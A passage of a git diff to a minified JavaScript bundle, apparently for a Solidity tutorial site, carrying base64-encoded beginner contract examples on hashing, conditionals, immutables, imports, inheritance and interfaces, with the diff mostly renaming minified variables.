H0KfQo="}],DZ=`

      keccak256 computes the Keccak-256 hash of the input.

      +`,LZ=({prev:s,next:a})=>r.jsx(u,{version:DZ,title:TZ,description:UZ,html:_Z,prev:s,next:a,codes:QZ}),OZ="0.8.24",PZ="Hashing with Keccak256",$Z="Example of hashing using Keccak256 in Solidity",qZ=[{fileName:"Keccak256.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEhhc2hGdW5jdGlvbiB7CiAgICBmdW5jdGlvbiBoYXNoKHN0cmluZyBtZW1vcnkgX3RleHQsIHVpbnQyNTYgX251bSwgYWRkcmVzcyBfYWRkcikKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RleHQsIF9udW0sIF9hZGRyKSk7CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiBoYXNoIGNvbGxpc2lvbgogICAgLy8gSGFzaCBjb2xsaXNpb24gY2FuIG9jY3VyIHdoZW4geW91IHBhc3MgbW9yZSB0aGFuIG9uZSBkeW5hbWljIGRhdGEgdHlwZQogICAgLy8gdG8gYWJpLmVuY29kZVBhY2tlZC4gSW4gc3VjaCBjYXNlLCB5b3Ugc2hvdWxkIHVzZSBhYmkuZW5jb2RlIGluc3RlYWQuCiAgICBmdW5jdGlvbiBjb2xsaXNpb24oc3RyaW5nIG1lbW9yeSBfdGV4dCwgc3RyaW5nIG1lbW9yeSBfYW5vdGhlclRleHQpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgLy8gZW5jb2RlUGFja2VkKEFBQSwgQkJCKSAtPiBBQUFCQkIKICAgICAgICAvLyBlbmNvZGVQYWNrZWQoQUEsIEFCQkIpIC0+IEFBQUJCQgogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdGV4dCwgX2Fub3RoZXJUZXh0KSk7CiAgICB9Cn0KCmNvbnRyYWN0IEd1ZXNzVGhlTWFnaWNXb3JkIHsKICAgIGJ5dGVzMzIgcHVibGljIGFuc3dlciA9CiAgICAgICAgMHg2MDI5OGY3OGNjMGI0NzE3MGJhNzljMTBhYTM4NTFkNzY0OGJkOTZmMmY4ZTQ2YTE5ZGJjNzc3YzM2ZmIwYzAwOwoKICAgIC8vIE1hZ2ljIHdvcmQgaXMgIlNvbGlkaXR5IgogICAgZnVuY3Rpb24gZ3Vlc3Moc3RyaW5nIG1lbW9yeSBfd29yZCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfd29yZCkpID09IGFuc3dlcjsKICAgIH0KfQo="}],s0=`

      keccak256 computes the Keccak-256 hash of the input.

      Some use cases are:

      • Creating a deterministic unique ID from a input
        • @@ -9591,7 +10153,7 @@ if the signer's intention was to approve a transaction once.

        return keccak256(abi.encodePacked(_word)) == answer; } } -`,LZ=({prev:s,next:a})=>r.jsx(u,{version:EZ,title:UZ,description:TZ,html:DZ,prev:s,next:a,codes:QZ}),_Z="0.8.24",OZ="Hello World",PZ="Hello world in Solidity",$Z=[{fileName:"HelloWorld.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yNCBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjI0OwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K"}],qZ=`

        pragma specifies the compiler version of Solidity.

        +`,a0=({prev:s,next:a})=>r.jsx(u,{version:OZ,title:PZ,description:$Z,html:s0,prev:s,next:a,codes:qZ}),n0="0.8.24",l0="Hello World",p0="Hello world in Solidity",e0=[{fileName:"HelloWorld.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yNCBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjI0OwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K"}],c0=`

        pragma specifies the compiler version of Solidity.

        // SPDX-License-Identifier: MIT
 // compiler version must be greater than or equal to 0.8.24 and less than 0.9.0
 pragma solidity ^0.8.24;
@@ -9599,7 +10161,7 @@ if the signer's intention was to approve a transaction once.
        
 contract HelloWorld {
     string public greet = "Hello World!";
 }
-
        `,s0=({prev:s,next:a})=>r.jsx(u,{version:_Z,title:OZ,description:PZ,html:qZ,prev:s,next:a,codes:$Z}),a0="0.8.24",n0="If / Else",l0="If / Else conditional statement in Solidity",p0=[{fileName:"IfElse.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50MjU2IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iIG9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K"}],e0=`

        Solidity supports conditional statements if, else if and else.

        +`,t0=({prev:s,next:a})=>r.jsx(u,{version:n0,title:l0,description:p0,html:c0,prev:s,next:a,codes:e0}),o0="0.8.24",r0="If / Else",i0="If / Else conditional statement in Solidity",g0=[{fileName:"IfElse.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50MjU2IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iIG9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K"}],h0=`

        Solidity supports conditional statements if, else if and else.

        // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -9625,7 +10187,7 @@ if the signer's intention was to approve a transaction once.
        
         return _x < 10 ? 1 : 2;
     }
 }
-
        `,c0=({prev:s,next:a})=>r.jsx(u,{version:a0,title:n0,description:l0,html:e0,prev:s,next:a,codes:p0}),t0="0.8.24",o0="Immutable",r0="Immutable variables",i0=[{fileName:"Immutable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQyNTYgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg=="}],g0=`

        Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

        +`,I0=({prev:s,next:a})=>r.jsx(u,{version:o0,title:r0,description:i0,html:h0,prev:s,next:a,codes:g0}),d0="0.8.24",C0="Immutable",j0="Immutable variables",u0=[{fileName:"Immutable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQyNTYgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg=="}],A0=`

        Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

        // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -9639,7 +10201,7 @@ if the signer's intention was to approve a transaction once.
        
         MY_UINT = _myUint;
     }
 }
-
        `,h0=({prev:s,next:a})=>r.jsx(u,{version:t0,title:o0,description:r0,html:g0,prev:s,next:a,codes:i0}),d0="0.8.24",I0="Import",C0="Learn how to import other Solidity files",j0=[{fileName:"Foo.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50MjU2IHg7CiAgICB1aW50MjU2IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludDI1NiB4LCB1aW50MjU2IHkpIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K"},{fileName:"Import.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg=="}],u0=`

        You can import local and external files in Solidity.

        +`,y0=({prev:s,next:a})=>r.jsx(u,{version:d0,title:C0,description:j0,html:A0,prev:s,next:a,codes:u0}),m0="0.8.24",b0="Import",w0="Learn how to import other Solidity files",k0=[{fileName:"Foo.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50MjU2IHg7CiAgICB1aW50MjU2IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludDI1NiB4LCB1aW50MjU2IHkpIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K"},{fileName:"Import.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg=="}],Z0=`

        You can import local and external files in Solidity.

        Local

        Here is our folder structure.

        ├── Import.sol
@@ -9689,7 +10251,7 @@ if the signer's intention was to approve a transaction once.
        
 // Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch
 // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol
 import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
-
        `,y0=({prev:s,next:a})=>r.jsx(u,{version:d0,title:I0,description:C0,html:u0,prev:s,next:a,codes:j0}),A0="0.8.24",m0="Inheritance",b0="Example of inheritance in Solidity",w0=[{fileName:"Inheritance.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEdyYXBoIG9mIGluaGVyaXRhbmNlCiAgICBBCiAgIC8gXAogIEIgICBDCiAvIFwgLwpGICBELEUKCiovCgpjb250cmFjdCBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQSI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBpbmhlcml0IG90aGVyIGNvbnRyYWN0cyBieSB1c2luZyB0aGUga2V5d29yZCAnaXMnLgpjb250cmFjdCBCIGlzIEEgewogICAgLy8gT3ZlcnJpZGUgQS5mb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgdmlydHVhbCBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJCIjsKICAgIH0KfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIE92ZXJyaWRlIEEuZm9vKCkKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQyI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBjYW4gaW5oZXJpdCBmcm9tIG11bHRpcGxlIHBhcmVudCBjb250cmFjdHMuCi8vIFdoZW4gYSBmdW5jdGlvbiBpcyBjYWxsZWQgdGhhdCBpcyBkZWZpbmVkIG11bHRpcGxlIHRpbWVzIGluCi8vIGRpZmZlcmVudCBjb250cmFjdHMsIHBhcmVudCBjb250cmFjdHMgYXJlIHNlYXJjaGVkIGZyb20KLy8gcmlnaHQgdG8gbGVmdCwgYW5kIGluIGRlcHRoLWZpcnN0IG1hbm5lci4KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBELmZvbygpIHJldHVybnMgIkMiCiAgICAvLyBzaW5jZSBDIGlzIHRoZSByaWdodCBtb3N0IHBhcmVudCBjb250cmFjdCB3aXRoIGZ1bmN0aW9uIGZvbygpCiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShCLCBDKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cgpjb250cmFjdCBFIGlzIEMsIEIgewogICAgLy8gRS5mb28oKSByZXR1cm5zICJCIgogICAgLy8gc2luY2UgQiBpcyB0aGUgcmlnaHQgbW9zdCBwYXJlbnQgY29udHJhY3Qgd2l0aCBmdW5jdGlvbiBmb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUoQywgQikgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBzdXBlci5mb28oKTsKICAgIH0KfQoKLy8gSW5oZXJpdGFuY2UgbXVzdCBiZSBvcmRlcmVkIGZyb20g4oCcbW9zdCBiYXNlLWxpa2XigJ0gdG8g4oCcbW9zdCBkZXJpdmVk4oCdLgovLyBTd2FwcGluZyB0aGUgb3JkZXIgb2YgQSBhbmQgQiB3aWxsIHRocm93IGEgY29tcGlsYXRpb24gZXJyb3IuCmNvbnRyYWN0IEYgaXMgQSwgQiB7CiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShBLCBCKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg=="}],k0=`

        Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

        +`,W0=({prev:s,next:a})=>r.jsx(u,{version:m0,title:b0,description:w0,html:Z0,prev:s,next:a,codes:k0}),B0="0.8.24",G0="Inheritance",V0="Example of inheritance in Solidity",f0=[{fileName:"Inheritance.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEdyYXBoIG9mIGluaGVyaXRhbmNlCiAgICBBCiAgIC8gXAogIEIgICBDCiAvIFwgLwpGICBELEUKCiovCgpjb250cmFjdCBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQSI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBpbmhlcml0IG90aGVyIGNvbnRyYWN0cyBieSB1c2luZyB0aGUga2V5d29yZCAnaXMnLgpjb250cmFjdCBCIGlzIEEgewogICAgLy8gT3ZlcnJpZGUgQS5mb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgdmlydHVhbCBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJCIjsKICAgIH0KfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIE92ZXJyaWRlIEEuZm9vKCkKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQyI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBjYW4gaW5oZXJpdCBmcm9tIG11bHRpcGxlIHBhcmVudCBjb250cmFjdHMuCi8vIFdoZW4gYSBmdW5jdGlvbiBpcyBjYWxsZWQgdGhhdCBpcyBkZWZpbmVkIG11bHRpcGxlIHRpbWVzIGluCi8vIGRpZmZlcmVudCBjb250cmFjdHMsIHBhcmVudCBjb250cmFjdHMgYXJlIHNlYXJjaGVkIGZyb20KLy8gcmlnaHQgdG8gbGVmdCwgYW5kIGluIGRlcHRoLWZpcnN0IG1hbm5lci4KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBELmZvbygpIHJldHVybnMgIkMiCiAgICAvLyBzaW5jZSBDIGlzIHRoZSByaWdodCBtb3N0IHBhcmVudCBjb250cmFjdCB3aXRoIGZ1bmN0aW9uIGZvbygpCiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShCLCBDKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cgpjb250cmFjdCBFIGlzIEMsIEIgewogICAgLy8gRS5mb28oKSByZXR1cm5zICJCIgogICAgLy8gc2luY2UgQiBpcyB0aGUgcmlnaHQgbW9zdCBwYXJlbnQgY29udHJhY3Qgd2l0aCBmdW5jdGlvbiBmb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUoQywgQikgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBzdXBlci5mb28oKTsKICAgIH0KfQoKLy8gSW5oZXJpdGFuY2UgbXVzdCBiZSBvcmRlcmVkIGZyb20g4oCcbW9zdCBiYXNlLWxpa2XigJ0gdG8g4oCcbW9zdCBkZXJpdmVk4oCdLgovLyBTd2FwcGluZyB0aGUgb3JkZXIgb2YgQSBhbmQgQiB3aWxsIHRocm93IGEgY29tcGlsYXRpb24gZXJyb3IuCmNvbnRyYWN0IEYgaXMgQSwgQiB7CiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShBLCBCKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg=="}],Y0=`

        Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

        Function that is going to be overridden by a child contract must be declared as virtual.

        Function that is going to override a parent function must use the keyword override.

        Order of inheritance is important.

        @@ -9755,7 +10317,7 @@ F D,E return super.foo(); } } -`,Z0=({prev:s,next:a})=>r.jsx(u,{version:A0,title:m0,description:b0,html:k0,prev:s,next:a,codes:w0}),W0="0.8.24",G0="Interface",B0="An example of interface in Solidity",V0=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIGdldFJlc2VydmVzKCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MTEyIHJlc2VydmUwLCB1aW50MTEyIHJlc2VydmUxLCB1aW50MzIgYmxvY2tUaW1lc3RhbXBMYXN0KTsKfQoKY29udHJhY3QgVW5pc3dhcEV4YW1wbGUgewogICAgYWRkcmVzcyBwcml2YXRlIGZhY3RvcnkgPSAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgZGFpID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIHdldGggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gZ2V0VG9rZW5SZXNlcnZlcygpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIGFkZHJlc3MgcGFpciA9IFVuaXN3YXBWMkZhY3RvcnkoZmFjdG9yeSkuZ2V0UGFpcihkYWksIHdldGgpOwogICAgICAgICh1aW50MjU2IHJlc2VydmUwLCB1aW50MjU2IHJlc2VydmUxLCkgPQogICAgICAgICAgICBVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CiAgICAgICAgcmV0dXJuIChyZXNlcnZlMCwgcmVzZXJ2ZTEpOwogICAgfQp9Cg=="}],f0=`

        You can interact with other contracts by declaring an Interface.

        +`,R0=({prev:s,next:a})=>r.jsx(u,{version:B0,title:G0,description:V0,html:Y0,prev:s,next:a,codes:f0}),X0="0.8.24",v0="Interface",N0="An example of interface in Solidity",H0=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3